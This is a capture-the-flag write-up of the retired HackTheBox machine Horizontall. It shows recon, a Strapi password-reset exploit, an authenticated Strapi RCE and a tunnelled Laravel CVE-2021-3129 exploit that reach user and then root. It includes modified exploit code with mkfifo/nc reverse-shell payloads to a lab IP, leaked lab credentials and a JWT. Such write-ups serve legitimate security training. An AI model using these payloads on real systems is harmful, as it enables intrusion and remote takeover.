# HackTheBox : Horizontall WriteUp This is my writeup for the [Horizontall](https://app.hackthebox.com/machines/Horizontall) machine of [hackthebox.com platform](https://hackthebox.com). The machine was retired today...so it's now possible to publish a writeup. Remember this is just how I solved/owned the machine, maybe there are different and fast paths but... It's an easy machine and the good/best part is...you've to enumerate a "lot" and change the exploit/PoC. ## Recon First of all I run a classic nmap scan: ```bash nmap -sC -sV -p- horizontall.htb Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-04 09:21 EST Nmap scan report for horizontall.htb (10.10.11.105) Host is up (0.025s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA) | 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA) |_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519) 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-title: horizontall |_http-server-header: nginx/1.14.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` And let's move to check the web server directories and subdomain (it's usual in htb...) ```bash gobuster dir -u http://horizontall.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://horizontall.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/02/04 09:22:51 Starting gobuster in directory enumeration mode =============================================================== /img (Status: 301) [Size: 194] [--> http://horizontall.htb/img/] /css (Status: 301) [Size: 194] [--> http://horizontall.htb/css/] /js (Status: 301) [Size: 194] [--> http://horizontall.htb/js/] wfuzz -c -z file,/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hc 404,301 -u http://horizontall.htb -H "Host: FUZZ.horizontall.htb" ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://horizontall.htb/ Total requests: 114441 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000001: 200 1 L 43 W 901 Ch "www" 000047093: 200 19 L 33 W 413 Ch "api-prod" ``` The website on the port 80 it's just a classic website: ![The index.html](../images/htb-horiz/00.png "index.html") But...there is a subdomain called *api-prod*, let's add it to the hosts file and check it: ```bash curl -i -L http://api-prod.horizontall.htb/ HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Fri, 04 Feb 2022 14:24:33 GMT Content-Type: text/html; charset=utf-8 Content-Length: 413 Connection: keep-alive Vary: Origin Content-Security-Policy: img-src 'self' http:; block-all-mixed-content Strict-Transport-Security: max-age=31536000; includeSubDomains X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Last-Modified: Wed, 02 Jun 2021 20:00:29 GMT Cache-Control: max-age=60 X-Powered-By: Strapi Welcome to your API

Welcome.

``` or via browser: ![The api](../images/htb-horiz/01.png "api") I fuzz it in order to check some other directories or pages: ```bash wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 http://api-prod.horizontall.htb/FUZZ/ ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://api-prod.horizontall.htb/FUZZ/ Total requests: 4614 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000001: 200 19 L 33 W 413 Ch "http://api-prod.horizontall.htb// 000000288: 200 16 L 101 W 854 Ch "ADMIN" 000000287: 200 16 L 101 W 854 Ch "Admin" 000000286: 200 16 L 101 W 854 Ch "admin" 000001003: 403 0 L 1 W 60 Ch "connect" 000002020: 200 19 L 33 W 413 Ch "index.html" 000003436: 200 3 L 21 W 121 Ch "robots.txt" 000003425: 200 0 L 21 W 507 Ch "reviews" 000004245: 403 0 L 1 W 60 Ch "users" ``` I'm in front of a Strapi server, I check the admin page at http://api-prod.horizontall.htb/admin/auth/login ![Admin area](../images/htb-horiz/02.png "admin") and after a further research I found the version at http://api-prod.horizontall.htb/admin/init ![Version](../images/htb-horiz/03.png "version") ## Initial foothold I checked if there is a CVE with this particular version of strapi and...b|doom: https://packetstormsecurity.com/files/163950/Strapi-CMS-3.0.0-beta.17.4-Remote-Code-Execution.html I download it/save it into a file called *exploit.py* and run it: ```bash python3 exploit.py http://api-prod.horizontall.htb/ [+] Checking Strapi CMS Version running [+] Seems like the exploit will work!!! [+] Executing exploit [+] Password reset was successfully [+] Your email is: admin@horizontall.htb [+] Your new credentials are: admin:SuperStrongPassword1 [+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjQzOTg1MzE0LCJleHAiOjE2NDY1NzczMTR9.tCIE2nVdDHt6hR17IELoKmhUz1Cn6qfpAH5_-2jPdjo $> ``` Amazing, it's working! I've an account into the strapi application. During my research of exploits I found another one, an RCE Authenticated. Now I can authenticate to the strapi app, using the username admin and the password SuperStrongPassword1 (as written on the exploit). Before continuing save the JSON Web Token, I'll use it in a bit. The exploit with the RCE Authenticaed is [this one in exploit-db](https://www.exploit-db.com/exploits/50238), let's download it and check it: ```bash searchsploit -m 50238 Exploit: Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticated) URL: https://www.exploit-db.com/exploits/50238 Path: /usr/share/exploitdb/exploits/multiple/webapps/50238.py File Type: Python script, Unicode text, UTF-8 text executable ``` I changed some lines in the script for using it, the final result is: ```python # Paremeters url = 'http://api-prod.horizontall.htb' #token = sys.argv[2] #command = sys.argv[3] #lhost = sys.argv[4] #lport = 4444 s = requests.session() r = s.post(url, verify=False) # SSL == verify=True headersData = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0', 'Authorization': 'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjQzOTg1MzE0LCJleHAiOjE2NDY1NzczMTR9.tCIE2nVdDHt6hR17IELoKmhUz1Cn6qfpAH5_-2jPdjo' } postData = { "plugin":"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 4444>/tmp/f)" } ``` Of course if you want to use it you must change your IP and the JSON Web Token (with the one provided by the first exploit). I open a netcat listener and I run the exploit: ```bash python3 50238.py ===================================== CVE-2019-19609 - Strapi RCE ------------------------------------- @David_Uton (M3n0sD0n4ld) https://m3n0sd0n4ld.github.io/ ===================================== [+] Successful operation!!! ``` and my listener: ```bash nc -nvlp 4444 listening on [any] 4444 ... connect to [10.10.14.2] from (UNKNOWN) [10.10.11.105] 36860 /bin/sh: 0: can't access tty; job control turned off $ id uid=1001(strapi) gid=1001(strapi) groups=1001(strapi) $ pwd /opt/strapi/myapi $ python3 -c 'import pty; pty.spawn("/bin/bash")' strapi@horizontall:~/myapi$ ls -ltr ls -ltr total 620 -rw-r--r-- 1 strapi strapi 1150 May 26 2021 favicon.ico -rw-r--r-- 1 strapi strapi 69 May 26 2021 README.md -rw-rw-r-- 1 strapi strapi 1009 May 26 2021 package.json -rw-rw-r-- 1 strapi strapi 552845 May 26 2021 package-lock.json drwxr-xr-x 3 strapi strapi 4096 May 26 2021 extensions drwxrwxr-x 2 strapi strapi 12288 May 26 2021 build drwxr-xr-x 3 strapi strapi 4096 May 29 2021 api drwxr-xr-x 3 strapi strapi 4096 Jun 2 2021 public drwxr-xr-x 5 strapi strapi 4096 Jul 29 2021 config drwxrwxr-x 1099 strapi strapi 36864 Aug 3 2021 node_modules strapi@horizontall:~/myapi$ cd /home strapi@horizontall:/home$ ls developer strapi@horizontall:/home$ cd developer strapi@horizontall:/home/developer$ cat user.txt ``` and first flag done! A small l00t: ```bash strapi@horizontall:~$ cd /opt/strapi/myapi/config/environments/development strapi@horizontall:~/myapi/config/environments/development$ cat database.json { "defaultConnection": "default", "connections": { "default": { "connector": "strapi-hook-bookshelf", "settings": { "client": "mysql", "database": "strapi", "host": "127.0.0.1", "port": 3306, "username": "developer", "password": "#J!:F9Zt2u" }, "options": {} } } } ``` ## Privilege Escalation First thing: check netstat. Ummm good: ```bash strapi@horizontall:~$ netstat -tulpn netstat -tulpn Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:1337 0.0.0.0:* LISTEN 1749/node /usr/bin/ tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN - tcp6 0 0 :::22 :::* LISTEN - tcp6 0 0 :::80 :::* LISTEN - ``` There is a port, 8000, not available except for the localhost. First of all I need a stable shell and I'll generate an ssh key pair and connect via ssh: ```bash strapi@horizontall:~$ ssh-keygen ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/opt/strapi/.ssh/id_rsa): Created directory '/opt/strapi/.ssh'. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /opt/strapi/.ssh/id_rsa. Your public key has been saved in /opt/strapi/.ssh/id_rsa.pub. The key fingerprint is: SHA256:DHmJ8mqsAqzw5cN7Gd+QzHePxPuLKdkD9zmg5PfUWbI strapi@horizontall The key's randomart image is: +---[RSA 2048]----+ | | | o . | | . + o | | o + | |. .oS. . . .| |o. .... = + * +o| |+. ++ + * O *Eo.| |o .o+ o . * *+= | | .. .+ oo++o | +----[SHA256]-----+ strapi@horizontall:~$ cd /opt/strapi/.ssh/ cd /opt/strapi/.ssh/ strapi@horizontall:~/.ssh$ cat id_rsa.pub >>authorized_keys cat id_rsa.pub >>authorized_keys strapi@horizontall:~/.ssh$ chmod 500 authorized_keys chmod 500 authorized_keys strapi@horizontall:~/.ssh$ cat id_rsa cat id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEAlsvq8N59T47p0WQeFavxX+HY4fWLAZ+pXbtAE5IQoD8tUjea 6H6DVL9rpjSyapO0jKGo52+TyRqTDTdMkTRGFnPhsXhGhSIc4ZeFRiM= -----END RSA PRIVATE KEY----- ``` The idea behind is: using [chisel](https://github.com/jpillora/chisel) as TCP tunnel over HTTP and check the port 8000 or, better, the application on port 8000 running as root. I start chisel locally ```bash ./chisel server -p 9000 --reverse 2022/02/04 09:53:10 server: Reverse tunnelling enabled 2022/02/04 09:53:10 server: Fingerprint JvUObvRuFccrH4c6/4qyGtjUqtqlv0YCvDI3UJ3JYvU= 2022/02/04 09:53:10 server: Listening on http://0.0.0.0:9000 ``` I upload it to the horizontall machine and start it: ```bash strapi@horizontall:/tmp$ wget 10.10.14.2/chisel strapi@horizontall:/tmp$ chmod +x chisel strapi@horizontall:/tmp$ ./chisel client 10.10.14.2:9000 R:8000:127.0.0.1:8000 2022/02/04 14:58:51 client: Connecting to ws://10.10.14.2:9000 2022/02/04 14:58:51 client: Connected (Latency 18.205933ms) ``` via web browser I check the address http://127.0.0.1:8000/ and...there is laravel! ![Version](../images/htb-horiz/05.png "version") And according to the home page is *Laravel v8 (PHP v7.4.18)* I checked the amazing [hacktricks website](https://book.hacktricks.xyz/pentesting/pentesting-web/laravel) and: *If Laravel is in debugging mode you will be able to access the code and sensitive data.* Let's check if it is in debug mode at http://127.0.0.1:8000/profiles ![debug](../images/htb-horiz/06.png "debug") And it is. I checked for some CVE/exploit and I found [one in github](https://github.com/zhzyker/CVE-2021-3129) - Laravel <= v8.4.2 debug mode: Remote code execution (CVE-2021-3129): ```bash git clone https://github.com/zhzyker/CVE-2021-3129.git ``` Before doing any ohter action I run it (remember the tunnel...the attacked machine is now localhost): ```bash python3 exp.py http://127.0.0.1:8000 [*] Try to use Laravel/RCE1 for exploitation. [+]exploit: [*] Laravel/RCE1 Result: [*] Try to use Laravel/RCE2 for exploitation. [+]exploit: [*] Laravel/RCE2 Result: uid=0(root) gid=0(root) groups=0(root) [*] Try to use Laravel/RCE3 for exploitation. [+]exploit: [*] Laravel/RCE3 Result: [*] Try to use Laravel/RCE4 for exploitation. [+]exploit: [*] Laravel/RCE4 Result: uid=0(root) gid=0(root) groups=0(root) [*] Try to use Laravel/RCE5 for exploitation. [+]exploit: [*] Laravel/RCE5 Result: uid=0(root) gid=0(root) groups=0(root) [*] Try to use Laravel/RCE6 for exploitation. [+]exploit: [*] Laravel/RCE6 Result: uid=0(root) gid=0(root) groups=0(root) [*] Try to use Laravel/RCE7 for exploitation. [+]exploit: [*] Laravel/RCE7 Result: [*] Try to use Monolog/RCE1 for exploitation. [+]exploit: [*] Monolog/RCE1 Result: uid=0(root) gid=0(root) groups=0(root) [*] Try to use Monolog/RCE2 for exploitation. [+]exploit: [*] Monolog/RCE2 Result: uid=0(root) gid=0(root) groups=0(root) [*] Try to use Monolog/RCE3 for exploitation. [+]exploit: [*] Monolog/RCE3 Result: [*] Try to use Monolog/RCE4 for exploitation. [+]exploit: [*] Monolog/RCE4 Result: ``` Oh well, is working in some Monolog RCE. I change the "system id" command with a reverse shell as: ```python __gadget_chains = { "Laravel/RCE1":r""" php -d "phar.readonly=0" ./phpggc Laravel/RCE1 "system('rm /tmp/ff;mkfifo /tmp/ff;cat /tmp/ff|/bin/sh -i 2>&1|nc 10.10.14.2 4444>/tmp/ff');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())" """, "Laravel/RCE2":r""" php -d "phar.readonly=0" ./phpggc Laravel/RCE2 "system('rm /tmp/ff;mkfifo /tmp/ff;cat /tmp/ff|/bin/sh -i 2>&1|nc 10.10.14.2 4444>/tmp/ff');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())" """, "Laravel/RCE3":r""" php -d "phar.readonly=0" ./phpggc Laravel/RCE3 "system('rm /tmp/ff;mkfifo /tmp/ff;cat /tmp/ff|/bin/sh -i 2>&1|nc 10.10.14.2 4444>/tmp/ff');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())" """, "Laravel/RCE4":r""" php -d "phar.readonly=0" ./phpggc Laravel/RCE4 "system('rm /tmp/ff;mkfifo /tmp/ff;cat /tmp/ff|/bin/sh -i 2>&1|nc 10.10.14.2 4444>/tmp/ff');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())" """, "Laravel/RCE5":r""" php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('rm /tmp/ff;mkfifo /tmp/ff;cat /tmp/ff|/bin/sh -i 2>&1|nc 10.10.14.2 4444>/tmp/ff');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())" """, "Laravel/RCE6":r""" php -d "phar.readonly=0" ./phpggc Laravel/RCE6 "system('rm /tmp/ff;mkfifo /tmp/ff;cat /tmp/ff|/bin/sh -i 2>&1|nc 10.10.14.2 4444>/tmp/ff');"" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())" """, "Laravel/RCE7":r""" php -d "phar.readonly=0" ./phpggc Laravel/RCE7 "system('rm /tmp/ff;mkfifo /tmp/ff;cat /tmp/ff|/bin/sh -i 2>&1|nc 10.10.14.2 4444>/tmp/ff');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())" """, "Monolog/RCE1":r""" php -d "phar.readonly=0" ./phpggc Monolog/RCE1 "system('rm /tmp/ff;mkfifo /tmp/ff;cat /tmp/ff|/bin/sh -i 2>&1|nc 10.10.14.2 4444>/tmp/ff');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())" """, "Monolog/RCE2":r""" php -d "phar.readonly=0" ./phpggc Monolog/RCE2 "system('rm /tmp/ff;mkfifo /tmp/ff;cat /tmp/ff|/bin/sh -i 2>&1|nc 10.10.14.2 4444>/tmp/ff');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())" """, "Monolog/RCE3":r""" php -d "phar.readonly=0" ./phpggc Monolog/RCE3 "system('rm /tmp/ff;mkfifo /tmp/ff;cat /tmp/ff|/bin/sh -i 2>&1|nc 10.10.14.2 4444>/tmp/ff');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())" """, "Monolog/RCE4":r""" php -d "phar.readonly=0" ./phpggc Monolog/RCE4 id --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())" """, } ``` I start a netcat listener and run it again ```bash python3 exp.py http://127.0.0.1:8000 [*] Try to use Laravel/RCE1 for exploitation. [+]exploit: [*] Laravel/RCE1 Result: [*] Try to use Laravel/RCE2 for exploitation. [+]exploit: [*] Laravel/RCE2 Result: [*] Try to use Laravel/RCE3 for exploitation. [+]exploit: [*] Laravel/RCE3 Result: [*] Try to use Laravel/RCE4 for exploitation. [+]exploit: [*] Laravel/RCE4 Result: [*] Try to use Laravel/RCE5 for exploitation. [+]exploit: [*] Laravel/RCE5 Result: ... ``` and my listener: ```bash nc -nvlp 4444 listening on [any] 4444 ... connect to [10.10.14.2] from (UNKNOWN) [10.10.11.105] 37722 /bin/sh: 0: can't access tty; job control turned off # id uid=0(root) gid=0(root) groups=0(root) # cd /root # ls -ltra total 68 -rw-r--r-- 1 root root 148 Aug 17 2015 .profile drwx------ 2 root root 4096 May 25 2021 .ssh drwxr-xr-x 3 root root 4096 May 25 2021 .local -rwxr-xr-x 1 root root 185 May 28 2021 boot.sh -rw-r--r-- 1 root root 3145 Jun 1 2021 .bashrc drwx------ 3 root root 4096 Jun 3 2021 .gnupg drwx------ 2 root root 4096 Jun 3 2021 .cache drwxr-xr-x 5 root root 4096 Jul 29 2021 .pm2 -rw-r--r-- 1 root root 384 Jul 29 2021 restart.sh lrwxrwxrwx 1 root root 9 Aug 2 2021 .bash_history -> /dev/null -rw------- 1 root root 550 Aug 2 2021 .mysql_history -rw-rw-rw- 1 root root 12069 Aug 3 2021 .viminfo drwxr-xr-x 24 root root 4096 Aug 23 11:29 .. -r-------- 1 root root 33 Feb 4 14:18 root.txt -rw-r--r-- 1 root root 25 Feb 4 15:18 pid drwx------ 7 root root 4096 Feb 4 15:18 . # ``` and second flag as root done!